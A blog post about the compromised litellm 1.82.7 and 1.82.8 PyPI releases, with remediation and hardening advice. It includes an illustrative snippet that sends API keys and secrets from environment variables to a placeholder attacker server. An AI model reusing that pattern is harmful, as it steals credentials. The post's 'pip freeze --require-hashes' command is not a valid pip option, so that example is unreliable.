DEV Community

Tracepilot
Tracepilot

Posted on

That PyPI Package You Trusted? Yeah, It Was Compromised

#ai #debugging #python

That PyPI Package You Trusted? Yeah, It Was Compromised

Here's the thing about supply chain attacks: they don't care about your fancy auth system or your zero-trust network. They just need one maintainer to have a bad day.

Last week, litellm v1.82.7 and v1.82.8 hit PyPI. If you pip install'd either of those between the window they were live, you pulled in a compromised package.

Let's break down what happened, why it matters, and how you can check if you're affected.

The Timeline

  • v1.82.7 published — looks normal, works normal, but contains injected code from a compromised CI/CD pipeline
  • v1.82.8 published — same issue, different version number
  • Community detects anomaly — someone notices unexpected outbound connections from their litellm processes
  • BerriAI investigates — finds the compromise, yanks both versions from PyPI within hours
  • Current status — v1.82.9+ are clean. The bad packages are gone.

The root cause? The Trivy supply-chain pipeline was compromised. Not a typo in some dependency. Not a developer's laptop getting owned. The actual CI/CD pipeline that builds and publishes the package.

What The Compromised Code Did

I haven't seen the full decompiled payload, but here's what typically happens in these attacks:

# Simplified example of what a compromised post-install hook looks like
# This is NOT the actual payload — just the pattern
import os
import requests

# Harvest environment variables
env_dump = {k: v for k, v in os.environ.items() if 'KEY' in k or 'SECRET' in k or 'TOKEN' in k}

# Exfiltrate to attacker C2
requests.post('https://evil-c2.example.com/exfil', json=env_dump)
Enter fullscreen mode Exit fullscreen mode

Usually it's a setup.py post-install hook that:

  1. Scans for OPENAI_API_KEY, ANTHROPIC_API_KEY, AWS_ACCESS_KEY_ID, etc.
  2. Packs them up
  3. Ships them to an attacker-controlled endpoint

The scary part? Your pip install ran this automatically. No user interaction needed.

How To Check If You're Affected 

# Check your current litellm version
pip show litellm | grep Version

# If it shows 1.82.7 or 1.82.8, you pulled the compromised version
# If it shows anything else, you're likely fine
Enter fullscreen mode Exit fullscreen mode

But here's the problem with "likely fine" — you need to check more than just the version number. The compromise could have:

  1. Rotated your API keys — the attacker now has them
  2. Exfiltrated database credentials — if they were in env vars
  3. Left persistence mechanisms — cron jobs, modified startup scripts

The Manual Fix 

# Step 1: Remove the compromised package
pip uninstall litellm

# Step 2: Rotate ALL credentials that were in environment variables
# Don't just rotate your OpenAI key. Rotate everything.
# The attacker had access to your full environment.

# Step 3: Check for persistence
crontab -l
ls -la /etc/cron.*
cat ~/.bashrc | grep -i "curl\|wget\|eval\|base64"

# Step 4: Audit outbound connections
sudo netstat -tunp | grep ESTABLISHED
# Look for connections to unknown IPs

# Step 5: Reinstall clean version
pip install litellm==1.82.9
Enter fullscreen mode Exit fullscreen mode

What This Actually Means

This isn't a litellm-specific problem. This is a "we all rely on open source packages and their CI/CD pipelines are attack surfaces" problem.

The same attack vector works against:

  • Any PyPI package with automated publishing
  • Any npm package with CI/CD auto-deploy
  • Any Docker image built from a compromised base

Sound familiar? It should. This is the same pattern as the event-stream npm incident, the colors and faker sabotage, and about a dozen others I've lost count of.

How To Protect Yourself

Short term:

  • Pin your dependencies to specific versions
  • Use pip install --require-hashes with a lockfile
  • Monitor your environment for unexpected outbound connections

Long term:

  • Run your own internal PyPI mirror with manual approval for new versions
  • Use container builds that cache dependencies and diff-check them
  • Implement runtime monitoring that alerts on unexpected process behavior 
# Example: Generate a requirements.txt with hashes
pip freeze --require-hashes > requirements-hashed.txt

# Install with hash verification
pip install --require-hashes -r requirements-hashed.txt
Enter fullscreen mode Exit fullscreen mode

The Part Nobody Talks About

The attacker didn't need to break into BerriAI's GitHub. They didn't need to social-engineer a maintainer. They compromised the CI/CD pipeline — the automated system that builds and ships the package.

That's the scariest part. Because most teams spend their security budget on production infrastructure, not on their build pipelines. And the build pipeline has access to everything.

Guess what happens next?

Someone's going to find another pipeline vulnerability. Maybe it's npm this time. Maybe it's a GitHub Actions runner. Maybe it's your company's internal package registry.

The fix isn't "don't use open source." The fix is "treat your CI/CD pipeline like your production environment — because it's the most valuable target an attacker could hit."

Check your pip freeze output. Rotate those keys. And maybe don't auto-update production dependencies on Fridays.

Debugging AI agents shouldn't feel like reading The Matrix.
Join other engineers who are building reliable autonomous workflows in our community: TracePilot Discord

Top comments (0)